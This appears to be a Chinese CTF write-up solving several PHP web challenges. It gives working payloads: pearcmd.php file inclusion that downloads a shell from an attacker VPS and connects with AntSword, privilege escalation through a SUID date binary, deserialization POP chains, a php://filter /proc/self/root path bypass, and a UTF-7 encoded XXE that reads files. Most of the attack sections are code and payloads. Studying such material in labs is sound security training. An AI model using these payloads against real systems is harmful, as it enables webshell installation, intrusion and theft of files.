0x01 WEB-rce_me
源码:
考核docker php裸文件包含
<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
$blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
foreach($blacklist as $blackword){
if(stristr($var, $blackword)) return False;
}
return True;
}
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}
fliter($_SERVER["QUERY_STRING"]
对参数file进行了过滤。
这里$_SERVER["QUERY_STRING"]可以进行url编码,绕过黑名单的检测。因为$_SERVER["QUERY_STRING"]不会url解码,而直接进行黑名单检测
对于文件包含可以给利用pearcmd.php来文件包含。
常用的三种姿势:
+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
?file=/usr/local/lib/php/pearcmd.php&aaa+install+-R+/var/www/html/+http://vps:port/shell.php
?file=/usr/local/lib/php/pearcmd.php&+download+http://vps:port/shell.php
但是过滤了create、install等关键词。所以选择情况三,编码最少的情况。
payload:
/usr/local/lib/php/%70earcmd.php&+download+http://xxx.xxx.xxx.xxx:1234/shell.php
在vps存放一个shell,启动http服务。
此时可以用蚁剑去连接。
进去之后是没有权限读根目录下的flag,需要提权。
查看suid看到date有root权限就利用date来读取。
flag{19926412505647790428982600739977}
<?php
error_reporting(0);
class yang
{
public $y1;
public function __construct()
{
$this->y1->magic();
}
public function __tostring()
{
($this->y1)();
}
public function hint()
{
include_once('hint.php');
if(isset($_GET['file']))
{
$file = $_GET['file'];
if(preg_match("/$hey_mean_then/is", $file))
{
die("nonono");
}
include_once($file);
}
}
}
class cheng
{
public $c1;
public function __wakeup()
{
$this->c1->flag = 'flag';
}
public function __invoke()
{
$this->c1->hint();
}
}
class bei
{
public $b1;
public $b2;
public function __set($k1,$k2)
{
print $this->b1;
}
public function __call($n1,$n2)
{
echo $this->b1;
}
}
if (isset($_POST['ans'])) {
unserialize($_POST['ans']);
} else {
highlight_file(__FILE__);
}
?>
先触发wake_up,利用$this->c1->flag 我们可以使得c1为class bei的实例化对象,当c1对象没有flag这个属性的时候就会去调用 __set这个函数,此时我们可以让 class bei 的b1为class yang 的实例化对象,使得可以调用__tostring方法,如果我们让y1为class cheng的实例化对象,($this->y1)()当尝试调用一个函数的方式调用一个对象时会自动触发_invoke.最后让clas cheng的c1为class yang就可以成功执行到hint函数。
cheng::__wakeup()->bei::__set()->yang::__toString()->cheng::__invoke()->yang::hint()
<?php
var_dump("");
class yang
{
public $y1;
}
class cheng
{
public $c1;
}
class bei
{
public $b1;
public $b2;
}
$a = new cheng();
$a->c1 = new bei();
$a->c1->b1 = new yang();
$a->c1->b1->y1 = new cheng();
$a->c1->b1->y1->c1 = new yang();
echo serialize($a);
?>
打上payload就可以文件读取,在/etc/passwd 发现疑似flag的文件fl4449g,当然不能直接读取。
根据源码,还存在一个hint.php文件,因为存在include_once('hint.php'),只能包括一次,所以要想办法去绕过。
网上普遍的payload:
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
但是还是过滤/var/www/html 。这里再一个小绕过,把最后面的root改为cwd.
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/hint.php
拿到hint的源码:
<?php
$hey_mean_then = "\.\.\/|var|www|html|conf|lmx|decode|expect|http|https|data|glob|phar|host|g$|[0-3]|[7-9]|~|\*|\?| |\_|%|\^|\"|\'|\||\`|{|}|<|>|;|\(|\)";
//dHJ5IC8xOTE5ODEwNDE1NDEx
?>
再一个base64解码可获得提示。try /1919810415411
这波广告打的好.....
登录抓包,但是啥也没抓到,应该是前端校验。在js文件中找到登录密码
登录之后就来到了:
要post上传xml。普通的<!ENTITY 、<!DOCTYPE http data等关键词都有被过滤,

所以构造读flag的payload:
<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-DOCTYPE xxe +AFs-
+ADwAIQ-ELEMENT name ANY +AD4-
+ADwAIQ-ENTITY xxe SYSTEM +ACI-file:///fl44449g+ACI- +AD4AXQA+-
+ADw-root+AD4-
+ADw-name+AD4AJg-xxe+ADsAPA-/name+AD4-
+ADw-/root+AD4-
flag藏在tag后面base64解密即可获得。
flag{78876541095201823251015152416700}
0x03
WEB-Safepop
考的原题:
[原创]利用PHP垃圾回收机制构造POP链-CTF对抗-看雪论坛-安全社区|安全招聘|bbs.pediy.com
exp:
<?php
class Fun{
private $func;
public function __construct(){
$this->func = [new Test,'getFlag'];//也可以写为$this->func = "Test::getFlag";这样由于没有实例化Test类,还不会触发Test里的__wakeup()
}
}
class Test{
public function getFlag(){
}
}
class A{
public $a;
}
class B{
public $p;
}
$Test = new Test;
$Fun = new Fun;
$a = new A;
$b = new B;
$a->a = $Fun;
$b->a = $a;
$r = serialize($b);
$r1 = str_replace('"Fun":1:','"Fun":2:',$r);
echo urlencode($r1);